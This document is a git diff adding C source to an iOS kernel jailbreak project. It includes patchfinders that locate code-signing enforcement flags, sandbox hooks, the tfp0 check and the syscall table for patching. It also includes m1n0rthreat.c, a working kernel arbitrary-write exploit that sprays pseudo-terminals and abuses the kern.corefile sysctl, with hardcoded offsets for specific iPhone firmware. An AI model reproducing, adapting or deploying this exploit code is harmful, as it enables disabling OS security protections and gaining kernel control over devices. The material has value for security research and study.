ksize, ref, insn_is_preamble_push); + if(!fn_start) + return 0; + + // Find the instruction that performs the first level page table translation: LDR Rt, [Rn, Rm, LSL#2]. Rn is the address of zone_page_table + int found = 0; + uint16_t* current_instruction = fn_start; + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_ldr_reg(current_instruction) && insn_ldr_reg_lsl(current_instruction) == 2) + { + found = 1; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!found) + return 0; + + return find_pc_rel_value(region, kdata, ksize, current_instruction, insn_ldr_reg_rn(current_instruction)); +} + +// Function to free leaked ipc_kmsg objects +uint32_t find_ipc_kmsg_destroy(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0x75, 0x68, 0x06, 0x60, 0x45, 0x60, 0x70, 0x60, 0x28, 0x60, 0xF0, 0xBD}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + uint16_t* fn_start = find_last_insn_matching(region, kdata, ksize, (uint16_t*)ptr, insn_is_preamble_push); + return ((uintptr_t)fn_start - (uintptr_t)kdata) | 1; +} + +// Function to find the syscall 0 function pointer. Used to modify the syscall table to call our own code. +uint32_t find_syscall0(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Search for the preamble to syscall 1 + const uint8_t syscall1_search[] = {0x90, 0xB5, 0x01, 0xAF, 0x82, 0xB0, 0x09, 0x68, 0x01, 0x24, 0x00, 0x23}; + void* ptr = memmem(kdata, ksize, syscall1_search, sizeof(syscall1_search)); + if(!ptr) + return 0; + + // Search for a pointer to syscall 1 + uint32_t ptr_address = (uintptr_t)ptr - (uintptr_t)kdata + region; + uint32_t function = ptr_address | 1; + void* syscall1_entry = memmem(kdata, ksize, &function, sizeof(function)); + if(!syscall1_entry) + return 0; + + // Calculate the address of syscall 0 from the address of the syscall 1 entry + return (uintptr_t)syscall1_entry - (uintptr_t)kdata - 0x18; +} + +// Function used to free any dead ports we find to clean up after memory leak. +uint32_t find_io_free(uint32_t region, uint8_t* kdata, size_t ksize) +{ + const uint8_t search[] = {0xB0, 0xB5, 0x05, 0x46, 0x0C, 0x46, 0x02, 0xAF, 0x15, 0xB9}; + void* ptr = memmem(kdata, ksize, search, sizeof(search)); + if(!ptr) + return 0; + + return (((uintptr_t)ptr) - ((uintptr_t)kdata)) | 1; +} + +// Function used to find IOLog for printing debug messages +uint32_t find_IOLog(uint32_t region, uint8_t* kdata, size_t ksize) +{ + // Find location of the "%s: error mapping interrupt[%d]\n" string. + uint8_t* msg = memmem(kdata, ksize, "%s: error mapping interrupt[%d]\n", sizeof("%s: error mapping interrupt[%d]\n")); + if(!msg) + return 0; + + // Find a reference to the "%s: error mapping interrupt[%d]\n" string. + uint16_t* ref = find_literal_ref(region, kdata, ksize, (uint16_t*) kdata, (uintptr_t)msg - (uintptr_t)kdata); + if(!ref) + return 0; + + uint16_t* bl = NULL; + uint16_t* current_instruction = ref; + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_bl(current_instruction)) + { + bl = current_instruction; + break; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + if(!bl) + return 0; + + uint32_t imm32 = insn_bl_imm32(bl); + uint32_t target = ((uintptr_t)bl - (uintptr_t)kdata) + 4 + imm32; + if(target > ksize) + return 0; + + return target + 1; +} + +static void generate_ttb_entries(void) +{ + uint32_t vaddr, vaddr_end, paddr, i; + + paddr = PHYS_OFF; + vaddr = SHADOWMAP_BEGIN; + vaddr_end = SHADOWMAP_END; + + for(i = vaddr; i <= vaddr_end; i += SHADOWMAP_GRANULARITY, paddr += SHADOWMAP_GRANULARITY) { + printf("ProtoTTE: 0x%08x for VA 0x%08x -> PA 0x%08x\n", L1_PROTO_TTE(paddr), i, paddr); + ttb_template[TTB_OFFSET(i) >> PFN_SHIFT] = L1_PROTO_TTE(paddr); + } + + printf("TTE offset begin for shadowmap: 0x%08x\n" + "TTE offset end for shadowmap: 0x%08x\n" + "TTE size: 0x%08x\n", + SHADOWMAP_BEGIN_OFF, SHADOWMAP_END_OFF, SHADOWMAP_SIZE); + + return; +} + +vm_address_t find_iof(kernel_t* kernel) { + +} + + +vm_address_t find_tlb(kernel_t* kernel) { + int x = 0; + void* data = malloc(0xB00000); + if(data == 0) return 0; + + vm_address_t base = kernel->base; + x = kernel->read(base, data, 0xB00000); + if(x) { + error("Unable to read mach-o header from kernel"); + return 0; + } + + // TODO: Switch this to only require 4/8 byte reads + macho_t* macho = macho_load(data, 0xB00000); + if(macho) { + //macho_debug(macho); + macho_section_t* data_section = macho_get_section(macho, "__DATA", "__data"); + if(data_section) { + //macho_section_debug(data_section); + macho_section_t* common_section = macho_get_section(macho, "__DATA", "__common"); + if(common_section) { + //macho_section_debug(common_section); + void* data_buf = malloc(data_section->info->size); + if(data_buf) { + x = kernel->read(data_section->info->addr, data_buf, data_section->info->size); + if(x) { + error("Unable to read in data section"); + return 0; + } + + int i = 0; + for(i = 0; i < data_section->info->size; i+=4) { + unsigned char* ptr = &data_buf[i]; + unsigned int value = *(unsigned int*)ptr; + // Check of this points into __DATA:__common section + if(value > common_section->info->addr + && value < common_section->info->addr + common_section->info->size) { + // I hope we can assume the first one found is kernel_pmap + if((kernel->get(value) != 0) && ((kernel->get(value) & 0xFFF) == 0) && (kernel->get(value) > value)) { + debug("Found TLB at 0x%08x with value 0x%08x", value, kernel->get(value)); + macho_free(macho); + free(data_buf); + free(data); + return value; + } + } + } + + } + + // Ok found our segments, let's see how many pointers there are + } + } + macho_free(macho); + + } else { + error("Unable to load kernel as mach-o file"); + free(data); + return 0; + } + + syslog(LOG_ERR, "Failed to find TLB offset"); + free(data); + return 0; +} + + +uint32_t find_aes(uint32_t region, uint8_t* kdata, size_t ksize) { + unsigned int i = 0; + for(i = 0; i < ksize; i++) { + // B0 F5 FA 6F 00 F0 A2 80 + // 00 F0 92 80 + //"IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")), + //if (*((uint32_t*)&p[i]) == 0xF640d067) { + if(memcmp(&kdata[i], "\xB0\xF5\xFA\x6F\x00\xF0", 6) == 0) { + syslog(LOG_ERR, "Found IOAESAccelerator UID ptr at address 0x%08x", &kdata[i+4]); + return i+4; + } + } + syslog(LOG_ERR, "IOAESAccelerator Kernel patching failed\n"); + return 0; +} + + +/* +vm_address_t find_aes(kernel_t* kernel) { + int x = 0; + uint32_t i = 0; + void* buf = malloc(2048); + vm_address_t base = kernel->base; + if(buf == 0) return -1; + + vm_address_t addr = base + 0x1000; + while(addr < (base + 0xB00000)) { + memset(buf, '\0', 2048); + x = kernel->read(addr, buf, 2048); + if(x) { + syslog(LOG_ERR, "Error reading in kernel"); + break; + } + uint8_t* p = (uint8_t*) buf; + + for(i = 0; i < 2048; i++) { + // B0 F5 FA 6F 00 F0 A2 80 + // 00 F0 92 80 + //"IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")), + //if (*((uint32_t*)&p[i]) == 0xF640d067) { + if(memcmp(&p[i], "\xB0\xF5\xFA\x6F\x00\xF0", 6) == 0) { + addr += i + 4; + //syslog(LOG_ERR, "Found IOAESAccelerator UID ptr at 0x%08x, patching kernel", (uint32_t)(addr)); + free(buf); + return addr; + } + } + addr += 2048; + } + syslog(LOG_ERR, "IOAESAccelerator Kernel patching failed\n"); + free(buf); + return -1; +} + */ diff --git a/patch/patch/find.h b/patch/patch/find.h new file mode 100644 index 0000000..b282618 --- /dev/null +++ b/patch/patch/find.h @@ -0,0 +1,157 @@ +// +// find_xref.h +// SudoChop +// +// Created by Joshua Hill on 12/12/12. +// +// + +#ifndef __chop__find_xref__ +#define __chop__find_xref__ + +#include +#include +#include +#include + +#include "kernel.h" + +/* + * ARM page bits for L1 sections. + */ +#define L1_SHIFT 20 /* log2(1MB) */ + +#define L1_SECT_PROTO (1 << 1) /* 0b10 */ + +#define L1_SECT_B_BIT (1 << 2) +#define L1_SECT_C_BIT (1 << 3) + +#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */ +#define L1_SECT_SH_DEVICE (L1_SECT_B_BIT) +#define L1_SECT_WT_NWA (L1_SECT_C_BIT) +#define L1_SECT_WB_NWA (L1_SECT_B_BIT | L1_SECT_C_BIT) +#define L1_SECT_S_BIT (1 << 16) + +#define L1_SECT_AP_URW (1 << 10) | (1 << 11) +#define L1_SECT_PFN(x) (x & 0xFFF00000) + +#define L1_SECT_DEFPROT (L1_SECT_AP_URW) +#define L1_SECT_DEFCACHE (L1_SECT_SORDER) + +#define L1_PROTO_TTE(paddr) (L1_SECT_PFN(paddr) | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE | L1_SECT_PROTO) + +#define PFN_SHIFT 2 +#define TTB_OFFSET(vaddr) ((vaddr >> L1_SHIFT) << PFN_SHIFT) + +/* + * RAM physical base begin. + */ +#define S5L8930_PHYS_OFF 0x40000000 +#define S5L8940_PHYS_OFF 0x80000000 /* Note: RAM base is identical for 8940-8955. */ + +#define PHYS_OFF S5L8940_PHYS_OFF + +/* + * Shadowmap begin and end. 15MB of shadowmap is enough for the kernel. + * We don't need to invalidate unified D/I TLB or any cache lines + * since the kernel is mapped as writethrough memory, and these + * addresses are guaranteed to not be translated. + * (Accesses will cause segmentation faults due to failure on L1 translation.) + * + * Clear the shadowmappings when done owning the kernel. + * + * 0x7ff0'0000 is also below the limit for vm_read and such, so that's also *great*. + * (2048 bytes) + */ +#define SHADOWMAP_BEGIN 0x7f000000 +#define SHADOWMAP_END 0x7ff00000 +#define SHADOWMAP_GRANULARITY 0x00100000 + +#define SHADOWMAP_SIZE_BYTES (SHADOWMAP_END - SHADOWMAP_BEGIN) + +#define SHADOWMAP_BEGIN_OFF TTB_OFFSET(SHADOWMAP_BEGIN) +#define SHADOWMAP_END_OFF TTB_OFFSET(SHADOWMAP_END) +#define SHADOWMAP_SIZE (SHADOWMAP_END_OFF - SHADOWMAP_BEGIN_OFF) + +#define SHADOWMAP_BEGIN_IDX (SHADOWMAP_BEGIN_OFF >> PFN_SHIFT) +#define SHADOWMAP_END_IDX (SHADOWMAP_END_OFF >> PFN_SHIFT) + +#define TTB_SIZE 4096 +#define DEFAULT_KERNEL_SLIDE 0x80000000 + +vm_address_t find_tfp(kernel_t* kernel); +//vm_address_t find_aes(kernel_t* kernel); +uint32_t find_aes(uint32_t region, uint8_t* kdata, size_t ksize); +vm_address_t find_dbg(kernel_t* kernel); +vm_address_t find_iof(kernel_t* kernel); +vm_address_t find_tlb(kernel_t* kernel); + +// Helper gadget. +uint32_t find_memmove(uint32_t region, uint8_t* kdata, size_t ksize); + +// Use for write-anywhere gadget. +uint32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize); + +// Helper gadget for changing page tables / patching. +uint32_t find_flush_dcache(uint32_t region, uint8_t* kdata, size_t ksize); + +// Helper gadget for changing page tables. +uint32_t find_invalidate_tlb(uint32_t region, uint8_t* kdata, size_t ksize); + +// This points to kernel_pmap. Use that to change the page tables if necessary. +uint32_t find_pmap_location(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 0 here. +uint32_t find_proc_enforce(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 1 here. +uint32_t find_cs_enforcement_disable_amfi(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 1 here. +uint32_t find_cs_enforcement_disable_kernel(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change this to non-zero. +uint32_t find_i_can_has_debugger_1(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change this to what you want the value to be (non-zero appears to work). +uint32_t find_i_can_has_debugger_2(uint32_t region, uint8_t* kdata, size_t ksize); + +// NOP out the conditional branch here. +uint32_t find_vm_map_enter_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change the conditional branch here to an unconditional branch. +uint32_t find_vm_map_protect_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change the conditional branch here to an unconditional branch. +uint32_t find_tfp0_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write this with a jump to the sandbox hook, then write a trampoline back to just after the jump you wrote here. Sandbox hook should look at the path in *(r3 + 0x14) and force +// it to be allowed if it is outside of /private/var/mobile, or inside of /private/var/mobile/Library/Preferences but not /private/var/mobile/Library/Preferences/com.apple* +// To force it to allow, *r0 = 0 and *(r0 + 0x4) = 0x18. If not, just call the original function via the trampoline. +uint32_t find_sb_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Utility function, necessary for the sandbox hook. +uint32_t find_vn_getpath(uint32_t region, uint8_t* kdata, size_t ksize); + +// Utility function, necessary for the sandbox hook. +uint32_t find_memcmp(uint32_t region, uint8_t* kdata, size_t ksize); + +// Dereference this, add 0x38 to the resulting pointer, and write whatever boot-args are suitable to affect kern.bootargs. +uint32_t find_p_bootargs(uint32_t region, uint8_t* kdata, size_t ksize); + +// This gets the zone_page_table array in osfmk/kern/zalloc.c. Useful for diagnosing problems with the zone allocator. +uint32_t find_zone_page_table(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function to free leaked ipc_kmsg objects +uint32_t find_ipc_kmsg_destroy(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function to find the syscall 0 function pointer. Used to modify the syscall table to call our own code. +uint32_t find_syscall0(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function used to free any dead ports we find to clean up after memory leak. +uint32_t find_io_free(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function used to find IOLog for printing debug messages +uint32_t find_IOLog(uint32_t region, uint8_t* kdata, size_t ksize); + +#endif /* defined(__chop__find_xref__) */ diff --git a/patch/patch/kaslr.c b/patch/patch/kaslr.c new file mode 100644 index 0000000..fbe34f6 --- /dev/null +++ b/patch/patch/kaslr.c @@ -0,0 +1,41 @@ +// +// kaslr.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include + +#include "vmmap.h" +#include "devtree.h" + +#include "kaslr.h" + +kaslr_t* kaslr_init() { + kaslr_t* kaslr = (kaslr_t*) malloc(sizeof(kaslr_t)); + if(kaslr) { + memset(kaslr, '\0', sizeof(kaslr_t)); + //if(tfp0) { + + // Defaulting to tfp0 method for now + kaslr->base = vmmap_get_base; + kaslr->slide = vmmap_get_slide; + + // TODO: Chicken and egg problem here since we need to read bootargs from kernel + //} else { + // kaslr->base = devtree_get_base; + // kaslr->slide = devtree_get_slide; + //} + } + return kaslr; +} + +void kaslr_free(kaslr_t* kaslr) { + if(kaslr) { + free(kaslr); + kaslr = NULL; + } +} \ No newline at end of file diff --git a/patch/patch/kaslr.h b/patch/patch/kaslr.h new file mode 100644 index 0000000..db8134e --- /dev/null +++ b/patch/patch/kaslr.h @@ -0,0 +1,27 @@ +// +// kaslr.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_kaslr_h +#define chop_kaslr_h + +#include + +#include "kernel.h" + +typedef vm_address_t(*kaslr_get_base)(void); +typedef vm_offset_t(*kaslr_get_slide)(void); + +typedef struct { + kaslr_get_base base; + kaslr_get_slide slide; +} kaslr_t; + +kaslr_t* kaslr_init(kernel_t* kernel); +void kaslr_free(kaslr_t* kaslr); + +#endif diff --git a/patch/patch/kernel.c b/patch/patch/kernel.c new file mode 100644 index 0000000..77a8ba6 --- /dev/null +++ b/patch/patch/kernel.c @@ -0,0 +1,95 @@ +// +// kernel.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include +#include +#include + +#include "avio.h" +#include "tfp0.h" +#include "kaslr.h" +#include "vmmap.h" +#include "dangu.h" +#include "devtree.h" +#include "m1n0rthreat.h" + +#include "kernel.h" + +kernel_t* kernel_open() { + kernel_t* kernel = (kernel_t*)malloc(sizeof(kernel_t)); + if(kernel) { + memset(kernel, '\0', sizeof(kernel_t)); + //kaslr_init(); + kernel->task = tfp0_get_port(); + if(kernel->task != 0) { + // tfp0 is patched + + // TODO: Implement these later + kernel->get = tfp0_kernel_get; + kernel->set = tfp0_kernel_set; + //kernel->exec = tfp0_kernel_exec; + kernel->exploit = dangu_exploit; + + kernel->read = tfp0_kernel_read; + kernel->write = tfp0_kernel_write; + + // This should really be decided by the base kaslr class + kernel->base = devtree_get_base(kernel); + kernel->slide = devtree_get_slide(kernel); + vmmap_get_base(kernel); + syslog(LOG_ERR, "Found kernel base at 0x%08lx", kernel->base); + + } else { + // TODO: Need to detect version to choose proper exploit + // Default to 7.0.4 kernel exploit for now + + // TODO: Implement these later + //kernel->get = m1n0rthreat_kernel_get; + //kernel->set = m1n0rthreat_kernel_set; + //kernel->exec = m1n0rthreat_kernel_exec; + + //kernel->read = m1n0rthreat_kernel_read; + //kernel->write = m1n0rthreat_kernel_write; + + // AVIO + //kernel->get = avio_kernel_get; + //kernel->set = avio_kernel_set; + //kernel->exec = avio_kernel_exec; + + //kernel->read = avio_kernel_read; + //kernel->write = avio_kernel_write; + + // This should really be decided by the base kaslr class + //kernel->base = devtree_get_base(kernel); + //kernel->slide = devtree_get_slide(kernel); + // TODO: After patching tfp0 we might want to reopen + } + } + return kernel; +} + +kernel_t* x_kernel_open() { + kernel_t* kernel = (kernel_t*)malloc(sizeof(kernel_t)); + if(kernel) { + memset(kernel, '\0', sizeof(kernel_t)); + + } + return kernel; +} + +void kernel_close(kernel_t* kernel) { + if(kernel) { + if(kernel->task) { + mach_port_deallocate(mach_task_self(), kernel->task); + kernel->task = 0; + } + free(kernel); + kernel = NULL; + } +} \ No newline at end of file diff --git a/patch/patch/kernel.h b/patch/patch/kernel.h new file mode 100644 index 0000000..f97ae05 --- /dev/null +++ b/patch/patch/kernel.h @@ -0,0 +1,39 @@ +// +// kernel.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_kernel_h +#define chop_kernel_h + +#include + +#include + +typedef int(*kernel_exploit_t)(void* kernel); +typedef vm_address_t(*kernel_get_t)(vm_address_t address); +typedef void(*kernel_set_t)(vm_address_t address, void* value); +typedef vm_size_t(*kernel_read_t)(vm_address_t address, void* data, vm_size_t size); +typedef vm_size_t(*kernel_write_t)(vm_address_t address, void* data, vm_size_t size); + +typedef struct { + mach_port_t task; + vm_offset_t slide; + vm_address_t base; + vm_address_t pmap; + + kernel_get_t get; + kernel_set_t set; + + kernel_read_t read; + kernel_write_t write; + kernel_exploit_t exploit; +} kernel_t; + +kernel_t* kernel_open(); +void kernel_close(kernel_t* kernel); + +#endif diff --git a/patch/patch/m1n0rthreat.c b/patch/patch/m1n0rthreat.c new file mode 100644 index 0000000..0c9de6e --- /dev/null +++ b/patch/patch/m1n0rthreat.c @@ -0,0 +1,214 @@ +// +// main.c +// haxx +// +// Created by Joshua Hill on 12/17/13. +// Copyright (c) 2013 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include + +#include "m1n0rthreat.h" + +unsigned long KASLR_BASE = 0; +unsigned int m1n0rthreat_has_init = 0; + +// 0x81620579 - 0x81601000 = 0x1F579 (iPhone4s 7.0.4) +/* defines from the iPhone 4 7.0.4 kernel */ +//#define COREFILE_SYSCTL_DATA 0x334AE4 // this contains a pointer to the address to write (set by sysctl call) +//#define PTSD_START 0x27A11D // actually linew function pointer in tty (addesss to exec) +//#define KERN_UUID 0x346170 // This is the actuall address to write to sprayed into the fake ttys + +// iPhone4s 6.1.3 +//#define PTSD_START (0x1F41BD-0x1000) +//#define KERN_UUID (0x31F920-0x1000) +//#define COREFILE_SYSCTL_DATA (0x2E6A08-0x1000) + +vm_address_t m1n0rthreat_kernel_get(vm_address_t address); +void m1n0rthreat_kernel_set(vm_address_t address, void* value); +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +void add_write_clist(int *faketty, int addr) { + int dump_addr = addr; /* kern uuid */ + faketty[0] = 0; + faketty[1] = 0x400; + faketty[2] = dump_addr; + faketty[3] = dump_addr; + faketty[4] = dump_addr; + faketty[5] = dump_addr + 0x400; + faketty[6] = 0; + faketty[7] = 0; +} + +void printuuid() { + char crap[0x100]; + memset(crap, 0, 0x100); + size_t size = 0x100; + int ret = sysctlbyname("kern.uuid", crap, &size, NULL, NULL); + syslog(LOG_ERR, "++[HAXX]++ uuid(%d) %s\n", ret, crap); +} + +void printkerncore() { + char crap[0x100]; + memset(crap, 0, 0x100); + size_t size = 0x100; + int ret = sysctlbyname("kern.corefile", crap, &size, NULL, NULL); + syslog(LOG_ERR, "++[HAXX]++ corefile(%d) %s\n", ret, crap); +} + +int m1n0rthreat_exploit(vm_address_t base) { + int i, ret = 0;int crashfd = 0; + syslog(LOG_ERR, "++[HAXX]++ Exploiting haxx.dylib\n"); + + KASLR_BASE = base; + syslog(LOG_ERR, "++[HAXX]++ kaslr base @ 0x%lx\n", KASLR_BASE); + + /* not eating dicks yet */ + printuuid(); + + int faketty[0x40]; + memset(faketty, 0, sizeof(faketty)); + faketty[2] = 0x22; + /* this gets run when write is called, PC control */ + faketty[0xEC/4] = KASLR_BASE + PTSD_START; + + /* output clist */ + //add_write_clist(&faketty[3], KERN_UUID); + //add_write_clist(&faketty[0xb], KERN_UUID); + //add_write_clist(&faketty[0x13], KERN_UUID); + + //void printkerncore(); + ret = sysctlbyname("kern.corefile", NULL, NULL, faketty, sizeof(faketty)); + syslog(LOG_ERR, "++[HAXX]++ sysctl returned %d\n", ret); + //void printkerncore(); + + /* tty alloc should go to 0x140, and we hope the array is in the middle of ttys */ + /* if more than 8 are alloced this will fail */ + /* slots are 0x180 big, so tty starts at +0x180 */ + for (i = 0; i < 0x138/4; i++) { + int fd = open("/dev/ptmx", O_RDWR|O_NOCTTY); + grantpt(fd); + unlockpt(fd); + int pfd = open(ptsname(fd), O_RDWR); + + // now that it's open we can write + int writedata[2]; + writedata[0] = KASLR_BASE + COREFILE_SYSCTL_DATA; + writedata[1] = 0xFFFFFFFF; + + ret = write(fd, writedata, 8); // Writing the pointer to our pointer in each pty + + syslog(LOG_ERR, "++[HAXX]++ got %d %s %d\n", fd, ptsname(fd), ret); + } + + // ok, when the alloc is at 0x304 the new raw ptr is at 0x498, 0x194 apart + ret = mknod("/dev/crash", S_IFCHR | 0666, makedev(16, 0x194/4)); + syslog(LOG_ERR, "++[HAXX]++ mknod returned %d\n", ret); + + // i open at the close + crashfd = open("/dev/crash", O_RDWR|O_NOCTTY|O_NONBLOCK); + syslog(LOG_ERR, "++[HAXX]++ open returned %d %d\n", crashfd, errno); + + // write to kernel + //ret = write(crashfd, "p0sixninjas\0", strlen("p0sixninjas")+1); // finally write to our pointer + //syslog(LOG_ERR, "++[HAXX]++ write returned %d\n", ret); + + // success + printuuid(); +} + +int m1n0rthreat_init(vm_address_t base) { + KASLR_BASE = base; + m1n0rthreat_has_init = 1; + return 0; +} + +vm_address_t m1n0rthreat_kernel_get(vm_address_t address) { + //exploit(); + return NULL; +} + +void m1n0rthreat_kernel_set(vm_address_t address, void* value) { + //exploit(); +} + +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + //exploit(); + return 0; +} + +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + int i, ret = 0;int crashfd = 0; + syslog(LOG_ERR, "++[HAXX]++ Exploiting haxx.dylib\n"); + + //KASLR_BASE = base; + syslog(LOG_ERR, "++[HAXX]++ kaslr base @ 0x%lx\n", KASLR_BASE); + + /* not eating dicks yet */ + //printuuid(); + + int faketty[0x40]; + memset(faketty, 0, sizeof(faketty)); + faketty[2] = 0x22; + /* this gets run when write is called, PC control */ + faketty[0xEC/4] = KASLR_BASE + PTSD_START; + + /* output clist */ + add_write_clist(&faketty[3], addr); + add_write_clist(&faketty[0xb], addr); + add_write_clist(&faketty[0x13], addr); + + //void printkerncore(); + ret = sysctlbyname("kern.corefile", NULL, NULL, faketty, sizeof(faketty)); + syslog(LOG_ERR, "++[HAXX]++ sysctl returned %d\n", ret); + //void printkerncore(); + + /* tty alloc should go to 0x140, and we hope the array is in the middle of ttys */ + /* if more than 8 are alloced this will fail */ + /* slots are 0x180 big, so tty starts at +0x180 */ + for (i = 0; i < 0x138/4; i++) { + int fd = open("/dev/ptmx", O_RDWR|O_NOCTTY); + grantpt(fd); + unlockpt(fd); + int pfd = open(ptsname(fd), O_RDWR); + + // now that it's open we can write + int writedata[2]; + writedata[0] = (KASLR_BASE + COREFILE_SYSCTL_DATA); + writedata[1] = 0xFFFFFFFF; + ret = write(fd, writedata, 8); // Writing the pointer to our pointer in each pty + + syslog(LOG_ERR, "++[HAXX]++ got %d %s %d\n", fd, ptsname(fd), ret); + } + + // ok, when the alloc is at 0x304 the new raw ptr is at 0x498, 0x194 apart + ret = mknod("/dev/crash", S_IFCHR | 0666, makedev(16, 0x194/4)); + syslog(LOG_ERR, "++[HAXX]++ mknod returned %d\n", ret); + + // i open at the close + crashfd = open("/dev/crash", O_RDWR|O_NOCTTY|O_NONBLOCK); + syslog(LOG_ERR, "++[HAXX]++ open returned %d %d\n", crashfd, errno); + + // write to kernel + ret = write(crashfd, buffer, size); // finally write to our pointer + syslog(LOG_ERR, "++[HAXX]++ write returned %d\n", ret); + + // success + //printuuid(); + return ret; +} + diff --git a/patch/patch/m1n0rthreat.h b/patch/patch/m1n0rthreat.h new file mode 100644 index 0000000..436bd00 --- /dev/null +++ b/patch/patch/m1n0rthreat.h @@ -0,0 +1,39 @@ +// +// m1n0rthreat.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_m1n0rthreat_h +#define chop_m1n0rthreat_h + +//iPhone4s 6.1.3 +//#define PTSD_START (0x1F41BD-0x1000) +//#define KERN_UUID (0x31F920-0x1000) +//#define COREFILE_SYSCTL_DATA (0x2E6A08-0x1000) + +// iPhone5 7.0.6 +//#define PTSD_START (0x27CA81 - 0x1000) +//#define COREFILE_SYSCTL_DATA (0x337B04 - 0x1000) + +// iPhone5 7.0.4 +#define PTSD_START 0x27CA81 +#define COREFILE_SYSCTL_DATA 0x337B04 +#define KERN_UUID 0x349170 + +// iPad Mini 7.0.6 +//#define KERN_UUID 0x3451B0 +//#define PTSD_START 0x278DB9 +//#define COREFILE_SYSCTL_DATA 0x333B04 + +void printuuid(); +int m1n0rthreat_init(vm_address_t base); +int m1n0rthreat_exploit(vm_address_t base); +vm_address_t m1n0rthreat_kernel_get(vm_address_t address); +void m1n0rthreat_kernel_set(vm_address_t address, void* value); +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/macho.c b/patch/patch/macho.c new file mode 100644 index 0000000..263e898 --- /dev/null +++ b/patch/patch/macho.c @@ -0,0 +1,627 @@ +/** + * libmacho-1.0 - macho.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include +#include + +//#define _DEBUG +#include "debug.h" + +#include "macho.h" +#include "symtab.h" +#include "section.h" + +macho_t* macho_create(void); +macho_header_t* macho_header_create(void); + +/* + * Mach-O Functions + */ +macho_t* macho_create() { + macho_t* macho = (macho_t*) malloc(sizeof(macho_t)); + if (macho) { + memset(macho, '\0', sizeof(macho_t)); + } + return macho; +} + +macho_t* macho_load(unsigned char* data, uint32_t size) { + macho_t* macho = NULL; + + macho = macho_create(); + if (macho) { + macho->offset = 0; + macho->data = data; + macho->size = size; + macho->symtab_count = 0; + macho->segment_count = 0; + + debug("Loading Mach-O header\n"); + macho->header = macho_header_load(macho); + if (macho->header == NULL) { + error("Unable to load Mach-O header information\n"); + macho_free(macho); + return NULL; + } + macho->offset += sizeof(macho_header_t); + + debug("Loading Mach-O commands\n"); + macho->command_count = macho->header->ncmds; + macho->commands = macho_commands_load(macho); + if (macho->commands == NULL) { + error("Unable to parse Mach-O load commands\n"); + macho_free(macho); + return NULL; + } + + debug("Loading Mach-O segments\n"); + macho->segments = macho_segments_load(macho); + if (macho->segments == NULL) { + error("Unable to parse Mach-O segment commands\n"); + macho_free(macho); + return NULL; + } + + /* + debug("Loading Mach-O symtabs\n"); + macho->symtabs = macho_symtabs_load(macho); + if (macho->symtabs == NULL) { + error("Unable to parse Mach-O symtab commands\n"); + macho_free(macho); + return NULL; + } + */ + } + + return macho; +} + +macho_t* macho_open(const char* path) { + int err = 0; + uint32_t size = 0; + macho_t* macho = NULL; + unsigned char* data = NULL; + + /* + if (path) { + debug("Reading Mach-O file from path\n"); + err = file_read(path, &data, &size); + if (err < 0 || size == 0) { + error("Unable to read Mach-O file\n"); + macho_free(macho); + return NULL; + } + + debug("Creating Mach-O object from file\n"); + macho = macho_load(data, size); + if (macho == NULL) { + error("Unable to load Mach-O file\n"); + return NULL; + } + } + */ + + return macho; +} + +uint32_t macho_lookup(macho_t* macho, const char* sym) { + int i = 0; + int j = 0; + nlist* nl = NULL; + macho_symtab_t* symtab = NULL; + for (i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + for (j = 0; j < symtab->nsyms; j++) { + nl = &symtab->symbols[j]; + if (nl->n_un.n_name != NULL) { + if (strcmp(sym, 